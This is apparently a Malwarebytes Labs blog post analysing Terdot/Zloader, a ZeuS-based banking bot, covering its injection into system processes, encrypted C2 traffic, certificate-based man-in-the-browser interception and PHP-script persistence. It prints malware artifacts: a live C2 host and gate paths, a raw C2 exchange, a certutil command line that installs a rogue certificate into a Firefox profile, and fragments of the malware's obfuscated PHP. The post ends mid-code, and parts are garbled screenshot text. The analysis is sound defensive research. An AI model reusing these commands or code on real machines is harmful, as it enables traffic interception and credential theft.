Zbot with legitimate applications on board

blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/ Malwarebytes Labs



Source code of the infamous ZeuS malware leaked in 2011. Since that time, many cybercriminals has adopted it and augmented with their own ideas. Recently, among the payloads delivered by exploit kits, we often find **Terdot.A/Zloader** – a downloader installing on the victim machine a ZeuS-based malware.

The payload is very similar to the malware described in <u>this</u> article and referenced under the name Sphinx. However, after consulting with other researchers (special thanks to <u>Matthew Mesa</u>), we got proven that the bot that is sold as Sphinx is very different (<u>sample</u>). Since there are many confusions about the naming, we decided to stick to the name Terdot Zloader/Zbot.

In this post we will have a look at the features and internals of this malware. As we will see, the dropped package consists not only of malicious files – but also legitimate applications, used for the malicious purpose.

Analyzed sample

d45b8a20a991acd01d2ff63735fc1adf - original executable #1

950368afb934fd3fd5b2d4e6704b757b - original executable #2

fca092aca679edd9564d00e9640f939d - original executable #3

ae1d1f4597f76912d7bd9962b96eecbb – loader (unpacked) <u>268fd83403da27a80ab1a3cf9ac45b67</u> – payload.dll (injected into *explorer*) <u>6c34779503414210378371d250a3a1af</u> – client32.dll (Zbot downloaded and injected into *msiexec*, and into browsers)

f9373dc232028da52ad33b017e33bbd3 - original executable #4

Distribution

Most of the analyzed samples were dropped from **SundownEK** – some of the campaigns are described in details here: <u>28 Dec 2016</u>, <u>6 Jan</u> <u>2017</u>, and <u>18 Jan 2017</u>. However, we also encountered cases when the Terdot.A/Zloader was dropped by the malicious email attachment.

Behavioral analysis

After the sample is run, we can see it deploying explorer and then terminating. It is easy to guess, that it injected some malicious modules there.



If we attach a debugger into the *explorer* process, we can see the injected shellcode, along with a new PE file (payload.dll). The interesting and unusual thing, typical for this Zloader is, that the DLL does not start at the beginning of the memory page, but after the shellcode:

00060000 00010000	Review 222 Guat RM	
000B2000 0000E000		
00000000 00067000	D Dump - 00060000_00079EEE	
00130000 000000000	Bamp cococostin	
00150000 00003000		A
00210000 00003000		
00220000 00001000	00060570 00 00 00 00 00 00 00 00 00 00 00 00 0	
00240000 00001000	00060580 00 00 00 00 00 00 00 00 00 00 00 00 0	
00260000 00073000	00060590 00 00 00 00 00 00 00 00 00 00 00 00 0	
00360000 00101000	00060580 00 00 4D 5A 90 00 03 00 00 04 00 00 00 FF FF	MZE.♥♦
00480000 00011000	00060500 00 00 88 00 00 00 00 00 00 00 40 00 00 00 00 00	Ş@
00480000 00001000	00060500 00 00 00 00 00 00 00 00 00 00 00 00	
004E0000 00002000	000605F0 00 00 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21	871 8.4.=†S0L=†
00420000 00001000	00060600 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E	This program can
00510000 00008000	00060610 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F	not be run in DO
00520000 00008000	00060620 53 20 60 6F 64 65 22 60 60 64 24 66 66 66 66 66 00060630 00 00 F8 1F F4 10 8C 7F 98 4F 8C 7F 98 4F 8C 7F	- RATHCOUNCOUNCO
00530000 00008000	00060640 9A 4E 50 08 23 4E BF 7F 9A 4E AC 7F 9B 4E 31 7F	UNPO#14 OUNCOTN10
00550000 00001000	00060650 99 4E 8F 90 55 4E 8D 7F 98 4E 50 89 57 4E 8D 7F	
00560000 00002000	00060660 9H 4E HU 7F 9H 4E BB 7F 9H 4E CH 91 50 4E HD 7F 00060670 9D 4F CO 91 56 4F OD 7F 9D 4F 52 69 63 68 OC 7F	UNCOUNTOUN-LPHSO
00570000 00001000	00060680 9A 4E 00 00 00 00 00 00 00 00 50 45 00 00 4C 01	UNPEL0
00500000 00002000	00060690 04 00 C4 56 86 58 00 00 00 00 00 00 00 00 E0 00	♦U6X0.
005E0000 00040000	000606H0 02 21 08 01 08 00 00 20 01 00 00 40 00 00 00 00 00	9+ N 00
006600000 00002000		
00682000 00002000	S 000606D0 00 00 06 00 00 00 00 00 00 00 00 00 00	
006F2000 0000E000		·····
00750000 00001000	000606F0 00 00 00 00 10 00 00 10 00 00 00 00 00	-MA.G., d'0A.A.
00751000 0000F000 evoloper		
00801000 00080000 explorer .text		Ç0. 🖤
008B1000 00003000 explorer .data	1 00050730 00 00 00 00 00 00 00 00 00 00 00 00 0	
00884000 001C3000 explorer .rsrc		
00007700010000000000000000000000000000	* 00060760 00 00 00 40 01 00 24 01 00 00 00 00 00 00 00 00 00	
01690000 002CF000		tout -40 b
01830000 00002000		6 .
0102000 00002000	3 000607A0 00 00 00 00 00 00 20 00 00 20 72 64 61 74 61	
01A82000 0000E000		
0100000 00001000		a data o
01005000 00011000	stack of thi Paiul Phi Gual Phi	

If we have an internet connection, the Zloader will load the second stage (the main bot) and inject it into msiexec.exe.

The injected module beacons to the CnC and downloads other modules. Observed patterns of the gates:

/FE8hVs3/gs98h.php /bdk/gate.php

The communication is encrypted:

```
POST /bdk/gate.php HTTP/1.1
Accept: */
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0;
SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: rowatterding.ru
Content-Length: 629
Pragma: no-cache
Ot..-.0.9Z...%D....m..Ue{O,...9......W.....W.....W.....N.#...BY. lut4.
{...L{.(.:....U.A../".@).D.Vi..../.U:..z...x4./:..MM....Vw'..
3._4....>..').r.....1..$..x.s...^....r..y...
+:N..qpR....g.p...j.pa.h...v..Ua..."{7w".....d.;.U......
0.f....[SaCS.A.]...Hrz....J`..R.<.l...e%......85a4. .!.h.h..pi..._..h{G...
[....L.sHTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Wed, 25 Jan 2017 16:32:35 GMT
Content-Type: application/octet-stream
Content-Length: 7186892
Connection: keep-alive
X-Powered-By: PHP/5.4.45
Content-Description: File Transfer
Content-Disposition: attachment; filename=tv.dat
Content-Transfer-Encoding: binary
Expires: 0
Cache-Control: must-revalidate
Pragma: public
<].#..U7q.v....?rE^.i..S...)..L..r0...y!.....d...TxY..-G|.w.\^$..)......
4.K~..r...<..e.Jd....U..ru...."....OneJ......
..K..w.S.&.@..-...X.#A....K-...).v..&Ic.
lk. A.f.V. w, ..Fs. #.....b.p.8./.V. +
_G.....h)NJh....i..D:...l^..'`.9.,.K...+WbjM....M......#.K>..
9V....T=|B+.f...j....g...^%!...(..;
....xR*.
```

CnC responds with a new PE file – the module of the malware: (*client32.dll*). Downloader decrypts it in the memory and injects further: after a while we can see the *explorer* terminating and another program being deployed: *msiexec*. The initial malware executable is deleted.

2 procexp.exe	1.30	3412 N	16 UUU K	1808 Sysintemais Process Explorer	Sysintemais - www.sysinter
msiexec.exe	1.14	4 724 K	9 764 K	1640 Windows® installer	Microsoft Corporation

Attaching debugger to msiexec, we can find the Zbot (client32.dll) implanted and running in the process space.

00152000	00002000			STACK OF MA PTIV RW GUA RW	
00100000	00226000				
000000000	00001000			·	
000H0000	00002000			D Dump - 00160000_00285555	
000EC000	00002000				
00322000	00002000			00160000 40 50 90 00 03 00 00 00 00 00 00 00 EF FF 00 00 MZF.	
00310000	00011000				a
00410000	000000000				
00420000	00002000				48
00430000	00004000				=+\$61=+Th
00440000	00004000				
00500000	00003000				up in DOS
00540000	00002000				an chi bos
0054E000	00002000				A PRE- APRE- A
00550000	00008000				
00560000	00008000				
00570000	00001000				
00580000	00001000				
опганны	00002000				
иизнийий	00008000				
005B0000	00005000				A SILVERY
00500000	000FB000			001600F0 H9 20 BC 1H CE CE 76 1H H9 20 BH 1H CE CE 76 1H 8 1 1m	v≠e ∥ +nrv+
00600000	00101000			00160100 52 69 63 68 CF CE 76 1H 00 00 00 00 00 00 00 00 Kichsh	**************************************
00830000	00010000				PEL04.
00870000	00002000			00160120 67 76 86 58 00 00 00 00 00 00 00 00 20 00 02 21 9008	
0087E000	00002000				*****
008BC000	00002000			00160140 57 63 18 00 00 10 00 00 00 F0 19 00 00 00 00 10 WCT	· · · · * · · · · *
008BE000	00002000				
008FA000	00001000				
008FB000	00005000			UNICUI/N NO	80))
00900000	00011000				
00920000	00001000			1 00160130 80 E3 1E 00 6E 00 00 00 14 CE 1E 00 04 01 00 00 CO★.n	467 ▲.♦⊌
00980000	00001000				
00900000	00040000				Ç7.'N
00A3B000	00001000				
00A3C000	00004000				
00A40000	002CF000			[현생16년1E월 8월 CS 1E 8년 4년 9년 7+▲.♥	
00090000	00001000	msiexec			
00D91000	000000000	msiexec	.text	1 00100200 00 00 00 00 00 00 00 00 00 00 00 0	
00D9E000	00003000	msiexec	.data	00160210 2E 74 65 78 74 00 00 00 7C D6 19 00 00 10 00 00 .text	ii4)
00DA1000	00002000	msiexec	.rsrc	00160220 00 D8 19 00 00 04 00 00 00 00 00 00 00 00 00 00	
00DA3000	00001000	msiexec	.reloc	00160230 00 00 00 00 20 00 00 60 2E 72 64 61 74 61 00 00	.'.rdata
00080000	0006E000			00160240 EE F9 04 00 00 F0 19 00 00 FA 04 00 00 DC 19 00 t *	4**. <u></u> +.
01828000	00001000				
01A2B000	00005000			00160260 2E 64 61 74 61 00 00 00 EC 7F 01 00 00 F0 1E 00 .data	yooA.
01830000	00002000			00160270 00 0A 01 00 00 DE 1E 00 00 00 00 00 00 00 00 00 00i	
01878000	00001000			00160280 00 00 00 00 40 00 00 C0 2E 76 6D 70 30 00 00 00@	VMp0
01B7C000	00004000			- 00160290 C9 07 01 00 00 70 20 00 00 08 01 00 00 E0 1F 00 F.Op	. 007.
01030000	00001000			- 001602A0 00 00 00 00 00 00 00 00 00 00 00 00 0	
01C3D000	00003000			001602B0 2E 72 65 60 6F 63 00 00 60 D5 00 00 80 21 00 reloc.	NÇt.

From inside of the injected module another internet connection is made, and some new elements are being downloaded and dropped (including legitimate applications like *certutil* and *php* – their role will be described further). The same *client32.dll* is also injected in browsers.



The module deployed inside msiexec.exe is used as a supervisor. It opens TCP sockets locally and communicates with the modules injected in browsers, in order to monitor opened pages.

👸 msiexec.exe:3664 Properties

Image	Performance	Performance Graph	Threads	TCP/IP	Security	Environment
-------	-------------	-------------------	---------	--------	----------	-------------

Resolve addresses

Prot	Local Address	Remote Address	State
TCP	testmachine:38863	testmachine:0	LISTENING
TCP	testmachine:38863	testmachine:49889	CLOSE_WAIT
TCP	testmachine:38863	testmachine:49890	CLOSE_WAIT
TCP	testmachine:38863	testmachine:49891	CLOSE_WAIT
TCP	testmachine:38863	testmachine:49892	CLOSE_WAIT
TCP	testmachine:38863	testmachine:49898	CLOSE_WAIT
TCP	testmachine:38863	testmachine:49899	CLOSE_WAIT
TCP	testmachine:38863	testmachine:49900	ESTABLISHED
TCP	testmachine:38863	testmachine:49901	ESTABLISHED
TCP	testmachine:38863	testmachine:49903	CLOSE_WAIT
TCP	testmachine:38863	testmachine:49905	ESTABLISHED
TCP	testmachine:38863	testmachine:49906	ESTABLISHED
TCP testmachine:39859 testmachine:0			LISTENING
TCP testmachine:39859 testmachine:49888			CLOSE_WAIT
TCP testmachine:39859 testmachine:49893			CLOSE_WAIT
TCP testmachine:39859 testmachine:49894			CLOSE_WAIT
TCP testmachine:39859 testmachine:49897			ESTABLISHED
ТСР	testmachine:39859	testmachine:49902	ESTABLISHED
TCP TCP	testmachine:39859	testmachine:49902	ESTABLISHED
firefox.e	testmachine: 39859 testmachine: 39859 exe: 2972 Properties Performance Performar	testmachine:49902	ESTABLISHED
firefox.e	testmachine:33859 testmachine:33859 exe:2972 Properties Performance Performar	testmachine:49902	P Security Environm
firefox.o	testmachine:33839 testmachine:33859 exe:2972 Properties Performance Performar olve addresses	testmachine:49902	Security Environn State
firefox.of mage f Resc Prot	testmachine:39859 testmachine:39859 exe:2972 Properties Performance Performar olve addresses Local Address testmachine: 4995	cearaph Threads TCP/IF Remote Address	Security Environm State ESTABLISHED
TCP TCP firefox.4 mage i I Resc Prot TCP	testmachine:39859 testmachine:39859 exe:2972 Properties Performance Performan olve addresses Local Address testmachine:49895	Remote Address testmachine:49902	Security Environn State ESTABLISHED
ICP TCP firefox.4 mage i I Resc Prot TCP TCP	testmachine:39859 testmachine:39859 exe:2972 Properties Performance Performan olve addresses Local Address testmachine:49895 testmachine:49896	Remote Address testmachine:49902	Security Environm State ESTABLISHED State ESTABLISHED ESTABLISHED ESTABLISHED
firefox.o mage I rot Prot TCP TCP	exer:2972 Properties exe:2972 Properties exe:2972 Properties exe:2012 Performance love addresses Local Address testmachine:49895 testmachine:49896 testmachine:49897	Remote Address testmachine:49902	Security Environm State ESTABLISHED State ESTABLISHED ESTABLISHED ESTABLISHED
ICP TCP firefox.a mage I rot TCP TCP TCP TCP TCP	testmachine:39859 testmachine:39859 exe:2972 Properties Performance Performar olve addresses Local Address testmachine:49895 testmachine:49897 testmachine:49898	ceanacime: 49902 testmachine: 49902 Remote Address testmachine: 49895 testmachine: 49895 testmachine: 39859 testmachine: 38863	State State STABLISHED State STABLISHED STABLISHED STABLISHED STABLISHED FIN_WAIT2
ICP TCP firefox.↓ mage I V Resc V Resc V Resc TCP TCP TCP TCP TCP TCP TCP	testmachine:39859 testmachine:39859 exe:2972 Properties Performance Performar olve addresses Local Address testmachine:49895 testmachine:49897 testmachine:49897 testmachine:49898 testmachine:49899	Remote Address testmachine:49902 Remote Address testmachine:49895 testmachine:39859 testmachine:38863 testmachine:38863	Security Environn State STABLISHED State STABLISHED STABLISHED ESTABLISHED ESTABLISHED FIN_WAIT2 FIN_WAIT2
ICP TCP firefox.↓ mage I I Resc Prot TCP TCP TCP TCP TCP TCP TCP TCP	testmachine:39859 testmachine:39859 exe:2972 Properties Performance Performar olve addresses Local Address testmachine:49895 testmachine:49895 testmachine:49899 testmachine:49899 testmachine:49899 testmachine:49900	Remote Address testmachine:49902 Remote Address testmachine:49896 testmachine:38863 testmachine:38863 testmachine:38863	Security Environn State ESTABLISHED State ESTABLISHED ESTABLISHED ESTABLISHED ESTABLISHED FIN_WAIT2 FIN_WAIT2 ESTABLISHED
ICP TCP firefox.e mage i I Prot TCP TCP TCP TCP TCP TCP TCP TCP TCP	testmachine:39859 testmachine:39859 exe:2972 Properties Performance Performar live addresses Local Address testmachine:49895 testmachine:49897 testmachine:49898 testmachine:49899 testmachine:49899 testmachine:49900 testmachine:49900	Remote Address testmachine:49902 Remote Address testmachine:49996 testmachine:39859 testmachine:38863 testmachine:38863 testmachine:38863	State State STABLISHED State STABLISHED STABLISHED ESTABLISHED FIN_WAIT2 ESTABLISHED ESTABLISHED ESTABLISHED ESTABLISHED ESTABLISHED
ICP TCP firefox.a mage i I Prot TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP	testmachine:39859 testmachine:39859 exe:2972 Properties Performance Performar olve addresses Local Address testmachine:49895 testmachine:49897 testmachine:49897 testmachine:49899 testmachine:49900 testmachine:49901 testmachine:49901	testmachine:49902 Remote Address testmachine:49902 TCP/IF Remote Address testmachine:4995 testmachine:4995 testmachine:38863 testmachine:38863 testmachine:38863 testmachine:38863	State State STABLISHED State STABLISHED State STABLISHED STABLISHED FIN_WAIT2 FIN_WAIT2 FIN_WAIT2 ESTABLISHED ESTABLISHED ESTABLISHED ESTABLISHED ESTABLISHED
ICP TCP firefox.4 mage I I Resc Prot TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP	testmachine:39859 testmachine:39859 exe:2972 Properties Performance Performar olve addresses Local Address testmachine:49895 testmachine:49896 testmachine:49897 testmachine:49899 testmachine:49990 testmachine:49901 testmachine:49901 testmachine:49901 testmachine:49902	TCP/II Threads TCP/II Remote Address testmachine:49895 testmachine:39859 testmachine:38863 testmachine:38863 testmachine:38863 testmachine:38863 testmachine:38863	State State State STABLISHED State STABLISHED STABLISHED STABLISHED FIN_WAIT2 FIN_WAIT2 ESTABLISHED ESTABLISHED ESTABLISHED ESTABLISHED ESTABLISHED ESTABLISHED ESTABLISHED ENTABLISHED ENTABLISHEN ENTABLISH
ICP TCP firefox. mage I	testmachine:43835 testmachine:33859 exe:2972 Properties Performance Performan olve addresses Local Address testmachine:49895 testmachine:49895 testmachine:49895 testmachine:49895 testmachine:49895 testmachine:49890 testmachine:49901 testmachine:49901 testmachine:49903 testmachine:49903	Remote Address testmachine:49902 Remote Address testmachine:49996 testmachine:49896 testmachine:39859 testmachine:38863 testmachine:38863 testmachine:38863 testmachine:38863 testmachine:38863 testmachine:38863 testmachine:38863 testmachine:38863 testmachine:38863	State State State STABLISHED State STABLISHED STABLISHED STABLISHED ESTABLISHED FIN_WAIT2 FIN_WAIT2 FIN_WAIT2 ESTABLISHED ESTABLISHED ESTABLISHED ESTABLISHED FIN_WAIT2 ESTABLISHED FIN_BARISHED FIN_BARISHED FIN_BARISHED FIN_WAIT2 ESTABLISHED FIN_BARISHED FIN_FIN_FIN FIN_FIN_FIN FIN_FIN_FIN_FIN FIN_FIN_FIN FIN

testmachine:38863

MitM

The main module of the bot downloads and drops some new elements into the %TEMP% folder. Surprisingly, those files are non-malware. We can see the certutil application (0c6b43c9602f4d5ac9dcf907103447c4) along with it's dependencies - legitimate DLLs.

In the same folder, there is also some alien certificate (filename, as well as the name of the issuer is randomly generated).

▼ 🌗 🕨 tester 🕨 AppData 🕨 Local 🕨 Temp 🕨	✓ 49	earch Temp 🔎
ze 🔻 💼 Open 👻 Share with 💌 New f	older	III 🔹 🗖 🔞
Ze Open Share with New F Name Image: Share with New F Name Image: Share with New F Image: Share with Image: Share	Older Type Date modified Type 2016-11-13 01:15 File folder Certificate General Details Certification Path Show: <all> Field Signature algorithm Signature hash algorithm Signature hash algorithm Signature hash algorithm Signature the signature of the signature</all>	Size Size Value V1 db c5 85 b1 sha256RSA sha256 Yqreo, Otzurotoagu 25 stycznia 2017 18:10:31 25 stycznia 2018 18:10:31 Ynreo. Otzurotoagu
nedea.crt Date modified: 2017-01-2518 Security Certificate Size: 1017 bytes	Learn more about <u>certificate details</u>	dit Properties Copy to File OK

The certificate is installed with the help of the certutil, for the purpose of Man-in-the-Middle attacks (in such cases they are also called Man-inthe-Browser).

10.10			
18:10: Tomsiexec.exe	3664 KouerySecuntyFile C:\Users\tester\AppData\Local\Temp\certutil.exe	SUCCESS	Information: Label
18:10: 👘 msiexec.exe	3664 🛃 QueryNameInfoC:\Users\tester\AppData\Local\Temp\certutil.exe	SUCCESS	Name: \Users\tester\AppData\Local\Temp\certutil.exe
18:10: msiexec.exe	3664 🌄 Process Create 🛛 C:\Users\tester\AppData\Local\Temp\certutil.exe 👘	SUCCESS	PID: 3540, Command line: "C:\Users\tester\AppData\Local\Temp\certutil.exe" -A -n "otdarufyr" +
18:10: El certutil.exe	3540 🧟 Process Start	SUCCESS	Parent PID: 3664, Command line: "C:\Users\tester\AppData\Local\Temp\certutil.exe" -A -n "otdan
18:10: 💽 certutil.exe	3540 🚑 Thread Create	SUCCESS	Thread ID: 2424

Example - a command line deployed during tests:

"C:\Users\tester\AppData\Local\Temp\certutil.exe"

-A -n "otdarufyr" -t "C,C,C" -i "C:\Users\tester\AppData\Local\Temp\nedea.crt" -d "C:\Users\tester\AppData\Roaming\Mozilla\Firefox\Profiles\be7dt337.default"

It is easy to guess that this malware targets web browsers. Indeed, if we run a browser and try to visit some site over HTTPS, we will see that the original certificates are replaced by the malicious one. See examples below - draw attention that the subject of the certificate contains the valid domain - only the *issuer* field can let us recognize, that the certificate is not legitimate:

Satander MitB on Firefox:



The browser claims that the connection is secure – but when we see the details, we can find, that the connection is "protected" by the fake certificate dropped by the malware:

ificate Viewer "retail can	tander co.uk"	
	lander.co.uk	
neral <u>D</u> etails		
This certificate has be	en verified for the following uses:	
SSL Client Certificate	-	
SSL Server Certificate		
Email Signer Certificat	e	
Email Recipient Certifi	cate	
Object Signer		
Issued To		
Common Name (CN)	retail santander.co.uk	
Organisation (O)	<not certificate="" of="" part=""></not>	
Organisational Unit (O	I) <not certificate="" of="" part=""></not>	
Serial Number	5E:CC:D2:5D	
Issued By		
Common Name (CN)	Ygreo	
Organisation (O)	Otzurotoagu	
Organisational Unit (O	J) <not certificate="" of="" part=""></not>	
Period of Validity		
Begins On	24 stycznia 2017	
Expires On	25 stycznia 2018	
Fingerprints		
SHA-256 Fingerprint	36:0D:A7:2D:42:54:7D:31:D2:DF:06:35:26:F1:72:F6:	
SHA1 Fingerprint	FD:2D:1A:2E:FD:24:77:38:4F:6B:68:F5:16:D7:38:97:1F:FF:C2:37	
et a congerprine		

Facebook MitB on InternetExplorer:

rtificate		×	
eneral Details Certification Pat	th		🟠 👻
Show: <all></all>	•		ywać i analizować reklamy ora zez nas informacji na Facebo
Field	Value	<u>^</u>	roli, znajdziesz w dokumencie
Version Serial number	V1 56 0a c3 e4	E	Adr
Signature algorithm	sha256RSA sha256		
📕 Issuer	Yqreo, Otzurotoagu		
Valid from	24 stycznia 2017 18:18:53		
Valid to	25 stycznia 2018 18:18:53		

Browsers do not alert about any inconsistency – and the user who was not vigilant enough to check the details of the certificate, may easily get deceived...

Certificate	
General Details Certification Path	6
Certification path	vać i analizować rekl ez nas informacji na)li, znajdziesz w doku
	_ cie i
View Certificate	

If we attach a debbugger into the running browser, we can see that the same *client32.dll* is injected there – along with some more code used for API redirections.

Persistence

In addition to the content dropped in %TEMP%, we can see some new folders with random names created in %APPDATA%:

۲.	AppD	lata ▶ Roaming ▶	→ 4	Search Roaming	
n	S	Share with 🔻 New folder			
	Nam	ne	Date modified	Туре	Size
		Doywow	2017-01-02 21:35	File folder	
		GHISLER	2016-05-26 14:18	File folder	
		Haxyka	2017-01-02 21:35	File folder	
		Hex-Rays	2016-05-26 13:54	File folder	
		Identities	2015-06-18 22:24	File folder	
		Immunity Debugger	2017-01-02 21:39	File folder	
		Media Center Programs	2011-04-12 04:24	File folder	
		Microsoft	2016-05-26 14:20	File folder	
		Mozilla	2015-06-19 00:38	File folder	
		Sun	2016-05-31 23:40	File folder	
	I	Vyaxy	2017-01-02 21:35	File folder	
	1	Wobeud	2017-01-03 00:47	File folder	
:		zynamics	2016-08-11 01:21	File folder	

Interesting fact is that one of them contains legitimate php.exe (see on VirusTotal: php.exe, php5ts.dll).

 AppData Roaming Haxyka 	→ 4	🛉 🛛 Search Haxyka	
in library ▼ Share with ▼ New folder			i - 1
Name	Date modified	Туре	Size
php php.exe	2017-01-02 21:35	Application	29 KB
🚳 php5ts.dll	2017-01-02 21:35	Application extens	5 589 KB
ushautre.php	2017-01-02 21:35	PHP File	4 KB

...and some obfuscated php code:

This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.

Learn more about bidirectional Unicode characters

Show hidden characters

<?php \$GLOBALS['529399110']=Array(" .'abs','f '.ile' .'_ '.'ge' .'t' .'_c' .'o' .'ntents','file_put' .'_content' .'s','exec','strpos'," .'so' .'cke' .'t_get_sta' .'t'
{\$fcfeek=Array("\x9b\x94\x61\xbd\xaa\xca\x4c\x9a\x86\xc4\x5a\x99\xaf\xd4\x32\xb7\x9d\xc2\x31\xa8\xbc\xc7\x23\xb1\x8c\xdb\x22\x83\xb6\xdb
\$fcfeek[\$fcvppx];} ?><?php \$tmgwczl=-round(0+277703483.2+2777034834.2+277703483.2+277703483.2

view raw

script.php

hosted with ♥ by <u>GitHub</u> (Formatted version <u>here</u>).

Other folders contains some encrypted data, i.e.:

Channel		_		1	4-1																				9-		_		E	1
snare w	ith			vew	TO	der																					•			1
Name											Da	ate r	noc	lifie	d		Ţ	ype	2					5	bize					
royxh.u	mh										20	17-(01-0)2 21	L:35		U	Mł	H Fi	le						3	05	KB		
XVI32 -	rovx	h.ur	mh																							_	_	6	-	
File Edit	Se	arch		۵dd	ress		300	kma	arks	т	ool	c .	XVI	crir	nt .	Hel	n												_	
		V		-uu D-	тсээ ъ - б		\cap	~	t	د	8)	ici i		T ICI	P													
ושט			ო	9	1	5	4	ų	* Ŀ	≐	ų	- -						_		_			_		_	_	_	_	_	_
0	95	F4	AD	E8	DA	AF	3E	E9	DE	BO	3F	EA	24	4E	40	EB	64	Ŀ	ô	- č	Ŭ.	ż >	é	Ţ	• ?	ę	\$]	N C	₿ë	d
11	B2	41	EC	DD	В3	42	ED	9E	Β4	43	EE	DF	B5	44	EF	EO	B6	4	A	Ý	3	Bí	ž	1	Cî	ß	μ	D d	ľŕ	P
22	45	FO	E1	B7	46	F1	E2	B8	47	F2	E3	B9	48	F3	E4	BA	49	E	đ	<u>í</u> .	F	ńâ	•	G	ňă	ą	H	ó ä	i ş	I
33	F4	E5	BB	4A	F5	E6	BC	4B	F6	OF	BD	4C	F7	E6	A1	F7	F6	Ô	1:	₿ J	ő	ćΙ	K	ö	Œ ~	L	÷	ćľ	'÷	ö
44	E9	0B	47	34	СВ	78	4E	B6	26	EO	04	93	85	В1	71	8C	9F	é	8 (34	Ë:	ĸ N	P	&	ŕJ	"	:	ŧ q	1 Ś	ź
55	AC	35	8F	8F	A9	73	9D	8E	AB	ЗA	90	84	E6	37	65	D1	B5	Þ	5	źź	©	s ť	Ž	«	:	"	ć	7 e	a Ń	μ
66	22	6F	D2	A1	36	22	B7	86	0A	23	99	A 5	3E	61	DB	C6	56	-	0]	Ň	6	"	+	-	# ³⁴	٠Ą	>	a Ĉ	ĴĆ	v
77	OF	D2	cc	5C	06	F7	CD	5D	07	D2	F4	7E	68	97	94	11	ЗA	X	Ň	٤١	-	÷İ	1	•	Ňô	~	h-	- "	• •	:
88	94	8B	2E	39	95	8A	2F	38	89	14	B2	ЗF	BD	88	2D	ЗE	8B	"	<	. 9	•	Š/	8	٤	۹ .	?	"	-	- >	<
99	12	80	ЗD	0A	8E	2B	зc	67	F5	BB	22	44	8C	29	21	6C	83	I	÷	-	Ž	+ <	g	ő	» "	D	Ś) !	1	
AA	27	20	2C	83	27	27	71	1C	8F	26	5C	80	25	25	73	1A	B8	Ŀ			•	9		Ż	<u>۲</u>	€	8	8 9	s →	3
BB	24	68	86	23	2B	7D	18	BD	2A	66	84	21	29	58	89	13	73	\$	h	† ‡	+	} 1	"	*	£ "	. !) 3	X ?	: !	s
cc	65	BA	ЗF	2F	0C	E2	72	1D	0D	E3	73	1E	0E	E4	74	1F	OF	e	ŝ.	? /		â r			ă s		fl i	ät	•	X
DD	E5	75	20	10	E6	76	21	11	E7	77	22	42	AD	78	23	5F	E8	l	u	+	ć	v !	•	ç	w "	в	- :	x ‡	ŧ _	č
EE	7D	24	90	29	19	7D	15	EB	7B	26	16	EC	7C	27	F7	ED	7E	}	\$)	F	}	ë	{	т	ě	1	' ÷	÷i	~
FF	29	13	EF	74	29	19	C9	7D	2A	1A	6A	82	2B	1B	F1	81	2C		!! (ťt)	łÉ	}	*	+ j	,	+	+ ŕ	i	,
110	FA	FE	83	2D	1D	E3	83	2E	1E	Β4	86	2F	1F	F5	C5	30	20	ú	ţ	-		ă	-		' †	1		őÍ	5 0	
121	E6	86	31	21	F5	87	32	27	F8	89	33	23	F9	89	34	21	FA	ć	+ :	1 !	ő	‡ 2	•	ř	% 3	ŧ	ů	£ 4	4 !	ú
132	8B	35	25	FB	8B	36	26	EC	89	37	27	F9	8D	38	AA	ED	8B	<	5	t ű	<	6 6	ě	2	7 '	ů	Ť	8 Ş	įí	<

Interestingly, this php package is referenced at autostart:

😿 V	v box nay	VIEGEBOX GEGET AGENTIS	oracio corporation	C. WINDOWS WJSCINSZ WDOARDY.CAC	2010/00/10 10:11
🔁 C:\Usen	s\tester\AppData	a\Roaming\Microsoft\Window	s\Start Menu\Programs\Startup	2	2017-01-02 21:35
🗸 php p	ohp.lnk	CLI	The PHP Group	c:\users\tester\appdata\roaming\haxyka\php.exe	2011-01-06 18:54
		•··· • ·· ·· ··	-		

Link deploys the dropped php application and runs the script, that we saw before:

► Start Menu ► Progr	rams 🕨 Startup	✓ 49 Sea	rch Startup	م
library 👻 Share with	h 🔻 New folder		800 .	- 🗌 🔞
Name	^	Date modified	Туре	Size
🗿 desktop.ini		2015-06-18 22:24	Configuration sett	1 KB
<mark>⊯</mark> P php		2017-01-02 21:35	Shortcut	1 KB
Compatibility General Sho General Sho Target type: Target location: Target: Start in: Shortcut key: Run:	Security Details ortcut Options Font Application Haxyka \opData\Roaming\Haxyka\ C:\Users\tester\AppData\F None Minimized	Previous Versions Layout Colors		

We can easily suspect that this is a method of persistence. Deobfuscating the PHP code confirms this guess. See the same code after cleanup:

This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters

Show hidden characters

php</th
function _get_arr_value(\$index)
{
\$fcfeek = Array(
"\x9b\x94\x61\xbd\xaa\xca\x4c\x9a\x86\xc4\x5a\x99\xaf\xd4\x32\xb7\x9d\xc2\x31\xa8\xbc\xc7\x23\xb1\x8c\xdb\x22\x83\xb6\xdb\x23\xb3\xb6\xb3\xb6\xdb\x23\xb3\xb6\xdb\x23\xb3\xb6\xb3\xb6\xdb\x23\xb3\xb6\xb3\xb6\xdb\x23\xb3\xb6\xb3\xb6\xdb\x23\xb3\xb6\xdb\x23\xb3\xb6\xb3\xb6\xb3\xb6\xb3\xb6\xb3\xb6\xb3\xb6\xb3\xb6\xb3\xb3\xb6\xb3\xb3\xb6\xb3\xb6\xb3\xb3\xb6\xb3\xb3\xb6\xb3\xb3\xb3\xb6\xb3\xb3\xb3\xb3\xb6\xb3\xb3\xb3\xb3\xb6\xb3\xb3\xb3\xb3\xb3\xb3\xb3\xb3\xb3\xb3
"\x9b\x94\x61\xbd\xaa\xca\x4c\x9a\x86\xc4\x5a\x99\xaf\xd4\x32\xb7\x9d\xc2\x31\xa8\xbc\xc7\x23\xb1\x8c\xdb\x22\x83\xb6\xdb\x23\xb3\xb6\xdb\x23\xb3\xb6\xc4\x11
'qsgfh',//2
'ojetjlsjqbudwfx', //3
'oktwz',//4
